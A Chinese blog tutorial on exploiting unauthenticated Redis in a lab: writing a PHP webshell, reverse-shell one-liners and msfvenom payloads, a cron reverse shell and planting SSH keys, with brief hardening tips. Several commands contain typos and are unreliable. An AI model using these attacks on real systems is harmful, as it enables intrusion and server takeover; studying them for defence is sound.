免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!
本文为超全超详细的Redis未授权访问漏洞详谈。
1、Redis常见用途
- 缓存
- 分布式session、分布式锁、分布式全局ID
- 计数器、限流
- 列表
- 抽奖
- 标签
- 排行榜
Redis常用数据类型:
- String:字符和整型
- Hash:哈希表
- List:有序数组
- Set:无序集合
- ZSet:有序集合
2、环境安装
使用到的环境及工具有:
1、kali
2、两台redis
3、蚁剑
Redis安装在网上有很多讲述,这里就不赘述了。
这里需要两台redis(一台redis-client,一台redis-server。使用的是centos7)。
重要的是更改redis.conf配置
vim小技巧:快速查找可以输入/然后打上要找的指令。例如:/daemonize no
- 窗口一关服务就挂了,所以改这样改:
daemonize no 改为daemonize yes
- 取消IP绑定bind, 默认的是:bind 127.0.0.1 。要前面加个#号
# bind 127.0.0.1
- 开放6379端口或者关闭防火墙
systemctl status firewalld #检查防火墙状态
systemctl stop firewalld.service #关闭防火墙
systemctl disable firewalld.service #禁止开机启动
- 不需要密码(默认)requirepass yourpasswd 把这一行注释掉
# requirepass yourpasswd
3、Redis持久化机制
把内存的信息,不定时的存入到硬盘内。有两种保存机制
- RDB Redis DataBase (默认)
- AOF Append Only File
配置:
1、save 3600 1 #自动触发规则
2、dbfilename dump.rdb #文件名
3、dir ./ #存储路径
运维管理员手动触发保存命令:save / bgsave
4、Redis动态修改配置
config set:动态修改配置,重启以后失效
这里是搭建了一个小皮面板。
yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh
然后下面操作把配置地址修改到/www/admin/localhost_80/wwwroot下。然后改了名称
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set aaa bbb
save
// 这里的conn是我通过alias写的快捷连接命令。
去文件下查看是否成功并写入命令
这里我们就成功了。这里说明我们可以通过修改redis的配置文件的目录及名称并往其中写入php脚本比如一句话木马。这就可以做很多事了。
5、利用Redis实现攻击
5.1、webshell提权
我们先清空redis.php里的内容
flushall
save
写入我们的一句话木马,前面的x也就是key无关紧要
set x "<?php @eval($_POST[sydm]); ?>"
写入成功
使用蚁剑连接测试一下,成功上线
5.2、bash反弹连接提权
这里就要提一下,什么时候要用到反弹连接
- 内网,私有IP
- IP动态变化
- 6379端口不允许入方向
- 一句话木马被杀软删除
正常连接是。我们控制机去连接靶机。
反弹连接是。让靶机来自动连接我们控制机
5.2.1、反弹连接的实现
要解决两个问题
-
控制机怎么监听一个端口?
三种监听方式1.netcat
nc -lvp 7777
2.msf
msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.110.5 set lport 7777 run
3.socat(kali)
socat TCP-LISTEN:7777 -
-
靶机怎么连接到控制机的端口?
常见的连接方式有以下几种- Linux bash
bash -i >& /dev/tcp/192.168.110.14/7777 0>&1
- netcat
nc -e /bin/bash 192.168.110.14 7777
- Python
python -c "importos,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.110.14',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
- PHP
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.142.44 7777");'php -r '$sock=fsockopen("192.168.110.14",7777);exec("/bin/bash -i<&3 >&3 2>&3");'
- Java
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.142.44/7777;cat<&5 |while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
- perl
perl -e ' useSocket;$i="192.168.142.44";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- msf-PHP
msfvenom -p php/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -o shell.php
- msf-Java
msfvenom -p java/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -f war -o shell.war msfvenom -p java/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -f jar -o shell.jar
- msf-exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.14 lport=7777 -i 5 -f exe -o test.exe
还有很多连接方法,根据不同环境进行操作。(其实很多都是基于bash连接的)
5.2.2、netcat实际操作
-
先在redis-client开启监听
nc -lvp 7777
-
接着在服务端输入连接口令(注意,这里的ip是我们控制机的ip)
bash -i >& /dev/tcp/192.168.110.14/7777 0>&1
这时候客户端就有消息提示连接了,测试一下。客户端输入的指令,是不是在服务端运行。输入ifconfig。我们这台客户端ip是110.14,服务端ip是110.15.
连接成功。
5.2.3、socat实际操作
socat是在kali上运行的。
- 在kali上开启监控7777端口
socat TCP-LISTEN:7777 -
- 在redis-server上连接kali的ip.(kali的ip为110.5)
bash -i >& /dev/tcp/192.168.110.5/7777 0>&1
kali上冒泡了,连接成功
5.2.4、msf-exe实际操作
- 生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.5 lport=7777 -i 5 -f exe -o test.exe
- 把文件先取出来
sz file test.exe
- 放在我们要监听的windows(ip:110.6)虚拟机上,并双击执行
- 在kali上设置监听
msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.110.5set lport 7777exploit
- 连接成功后,可以执行一系列命令meterpreter可以执行很多操作
#查看本机信息
sysinfo
#截图
screenshot
#进入windows命令
shell
#查看本机ip
ipconfig
5.2.5、反弹连接总结
详谈一下
bash -i >& /dev/tcp/192.168.110.5/7777 0>&1
#打开一个交互式的bash终端
bash -i
#将标准错误输入合并到标准输出轴
>&
#与远程机器(也就是我们的控制机)建立一个socket连接
/dev/tcp/192.168.110.5/7777
#将标准输入重定向到标准输出中
0>&1
这也就是为什么我们在控制机上输入的内容会在靶机上执行,然后结果反弹回控制机上
流程:
- 监听端口
- 执行命令,或者上传payload访问,建立连接
怎么上传?
- 文件上传漏洞
- 写入文件:MySQL、Redis、CMS
- 文件编辑命令:tee、test.py
怎么执行?
- 访问
- 定时任务自动触发
5.3、定时任务
cron表达式
这边可以用在线工具生成,也有说明
地址:https://www.pppet.net/
命令 | 操作 |
---|---|
crontab -u root -r | 删除某个用户的任务 |
crontab -u root time.cron | 把文件添加到某个用户的任务 |
crontab -u root -l | 列举某个用户的任务 |
crontab -u root -e | 编辑某个用户的任务 |
cron文件存储路径
#这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/var/spool/cron
#放的是对应周期的任务dalily、hourly 、monthly、weekly
/etc/crontab
5.3.1、通过定时任务建立反弹连接
- 在redis服务器上启动redis服务,并输入netstat -an|preg 6379。查看是否启动成功
- redis客户端启动监听端口
nc -lvp 7777
- 另起一台redis客户端连接服务器并写入反弹命令
# 这里面的*****代表的是每分钟执行一次
#\n是为了和其他数据换行
set x "\n* * * * * bash -i >& /dev/tcp/192.168.110.14/7777 0>&1\n" #要把这个写入到/var/spool/cron/下
config set dir /var/spool/cron/#这里要用root用户
config set dbfilename root#最后保存
save
这里我们可以去服务器下验证一下,看文件是否存在内容有没有写入
4.连接成功
过一会就连接上了
这里就可以用wget等等就做一些事了
5.4、SSH key免密登陆
5.4.1、ssh key简述
5.4.2、使用ssh key进行免密登陆
- 生成ssh-key,其他内容直接回车就行
shh-keygen
- 查看一下在.ssh下,有两个文件了。pub就是公钥,另一个就是私钥了
- 将公钥发送到服务器
ssh-copy-id root@192.168.110.15
我们在服务器就可以查看到传输了
同时这个authorized_keys的内容也就是这一串字符,这说明了什么,我们同样可以使用redis写入,达到把公钥放在靶机上。
- 这时候服务端就有我们的公钥了,就可以进行免密登陆
# 注意这个要在.ssh目录下才能使用到这个密钥
ssh -i ./id_rsa root@192.168.110.15
登陆成功
5.4.3、通过redis完成
- 先进行redis连接,先写入一些换行符
conn
set sshkey "\n\n\n----\n\n\n"
- 再开一台client,把公钥拿到
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4H4Qz0/u+CWlIqzyV0OLb+gJHXxfcNLOrMmx2jhMRc5m3BcoUS8h+yeUw+jthLlAanXh93UTcmGfOasJhEmo6Idb/19QhmCXBGneBqhHzUqoMZNi5Int+C7SO8jK8hm9IVIgfIe3rgtjuxOnePCcrDTOtlNOvz+WsrlMwvMYyu8oxhgfgDwnx2acs1OD5P5E3ywHrAS3nn4XtsVZSR0o2HUZuC4BLXAOu00eS8e3W0ntPiiGnVrIvlqsO6R+HRAinAT7+LwjuBeaqNCEFnEtn+bs4hh6iQcNlfz9w1q+sd0u4SWgGmssJKigvkNNAatJh0l0+KVBCFJ64zXkNmQ2d root@localhost.localdomain
- 清空内容再写入我们的公钥
flushall
set sshkey "/n/n/ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4H4Qz0/u+CWlIqzyV0OLb+gJHXxfcNLOrMmx2jhMRc5m3BcoUS8h+yeUw+jthLlAanXh93UTcmGfOasJhEmo6Idb/19QhmCXBGneBqhHzUqoMZNi5Int+C7SO8jK8hm9IVIgfIe3rgtjuxOnePCcrDTOtlNOvz+WsrlMwvMYyu8oxhgfgDwnx2acs1OD5P5E3ywHrAS3nn4XtsVZSR0o2HUZuC4BLXAOu00eS8e3W0ntPiiGnVrIvlqsO6R+HRAinAT7+LwjuBeaqNCEFnEtn+bs4hh6iQcNlfz9w1q+sd0u4SWgGmssJKigvkNNAatJh0l0+KVBCFJ64zXkNmQ2d root@localhost.localdomain/n/n/n"
save
- 修改文件路径及文件名
config set dir /root/.ssh
config set dbfilename authorized_keys
save
- 连接成功
5.4.4、总结
- 控制机连接到Redis
- 向$HOME/.ssh/authorized_keys写入公钥
- ssh -i ./id_rsa user@IP 使用私钥免密登录(这里的user代表角色可以用root,IP为靶机ip)
- 执行后续操作
redis还有其他提权操作:
- 基于主从复制的RCE(Remote Code Execution)
- jackson 反序列化利用
- lua RCE
- Structured Query Language
- Redis密码爆破
8、Redis加固方案
1、限制访问IP
2、修改默认端口
3、使用密码访问
4、不要用root运行Redis
9、一些问题总结
- 怎么知道有这个根目录把redis配置文件写在这下面
这一般是通过目录扫描等方法得到的,并且80端口是否有开放这些都是信息收集得到的。这个只是其中一种提权手段 - 在使用redis写入sshkey时,后面连接还是需要输入密码。这个在写入的时候前面加两个换行符就可以避免/n/n